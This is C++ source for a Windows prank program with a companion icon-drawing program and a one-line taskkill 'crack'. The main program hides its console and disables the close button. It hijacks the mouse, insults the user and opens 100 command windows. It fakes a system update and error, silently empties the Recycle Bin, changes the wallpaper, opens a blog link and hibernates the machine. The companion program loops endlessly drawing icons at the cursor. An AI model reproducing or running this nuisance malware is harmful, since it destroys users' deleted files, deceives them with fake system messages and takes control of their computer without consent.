#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void ____2() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
void ____1(){
system("color A1");
DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
DrawMenuBar(GetConsoleWindow());
srand(time(0));
system("mode con cols=50 lines=25");
system("title 我就爱坑你");
for(int i=1;i<=500;i++){
int x,y;
x=rand()%50+600;
y=rand()%50+600;
SetCursorPos(x,y);
Sleep(10);
}
while(MessageBox(NULL,TEXT(" 你 是 猪 吗 ?"),TEXT("你是猪"),MB_YESNO)==IDNO){}
MessageBox(NULL,TEXT("我 知 道 了,你 是 猪。"),TEXT("你是猪"),MB_OK);
for(int i=1;i<=100;i++){
system("start cmd");
}
Sleep(1000);
for(int i=1;i<=8;i++){
cout<<"正在更新请勿关机……";
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
Sleep(500);
cout<<"正在更新请勿关机… ";
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
Sleep(500);
}
MessageBox(NULL,TEXT("Windows 将 在 0.121204 年 后 关 机"),TEXT(" "),MB_OK);
cout<<"\n\n\n\n\n 你怎么能关机呢";
Sleep(1000);
for(int i=1;i<=100;i++){
cout<<"\n ?";
Sleep(10);
}
system("cls");
if(MessageBox(NULL,TEXT("你 是 笨 蛋 吗 ?是 的 话 可 以 取 消 关 机。"),TEXT("你是笨蛋"),MB_YESNO)==IDYES)
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
Sleep(500);
cout<<"你猜我在干嘛?\n";
string a;
cin>>a;
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b我在登记一个笨蛋";
Sleep(1000);
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b警告!警告!系统出错!系统出错!";
for (int i=0;i<10;i++){
system("color A0");
Sleep(50);
system("color B0");
Sleep(50);
system("color C0");
Sleep(50);
system("color D0");
Sleep(50);
system("color E0");
Sleep(50);
system("color F0");
Sleep(50);
}
system("cls");
SHEmptyRecycleBin(NULL,NULL,SHERB_NOCONFIRMATION);
SystemParametersInfo (SPI_SETDESKWALLPAPER, 0 , (void*)"D:\\廖晓晨\\我的游戏\\坑人小程序\\text.webp",0);
cout<<"最后一个彩蛋:";
Sleep(3000);
____2();
int pix;
HWND wnd;
HDC dc;
wnd=FindWindow("SysListView32",NULL);
dc=GetDC(wnd);
pix=RGB(0,0,0);
int x=0;
int y=0;
for(int i=0;i<3500;i++){
for(int j=0;j<1500;j++){
pix=RGB(i%255,j%255,(i+j)%255);
SetPixel(dc,x+i,y+j,pix);
}
}
system("start https://blog.csdn.net/2301_76445315/article/details/130543705");
Sleep(10000);
system("shutdown -h");
system("图标.exe");
}
int main(){
____1();
return 0;
}
图标.cpp:
#include<tchar.h>
#include<windows.h>
#include<ctime>
using namespace std;
void ____2() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main()
{
____2();
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
POINT point;
while(1){
GetCursorPos(&point);
DrawIcon(hdc,point.x+30,point.y+25,LoadIcon(NULL,IDI_QUESTION));
DrawIcon(hdc,point.x+55,point.y+50,LoadIcon(NULL,IDI_WARNING));
DrawIcon(hdc,point.x,point.y-5,LoadIcon(NULL,IDI_ERROR));
DrawIcon(hdc,point.x-25,point.y-30,LoadIcon(NULL,IDI_INFORMATION));
DrawIcon(hdc,point.x-55,point.y-60,LoadIcon(NULL,IDI_WINLOGO));
Sleep(1);
}
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CXSCREEN);
srand(time(0));
while(1) SetCursorPos(rand()%x, rand()%y);
}
破解:
#include<bits/stdc++.h>
using namespace std;
int main(){
system("taskkill /f /im 图标.exe");
}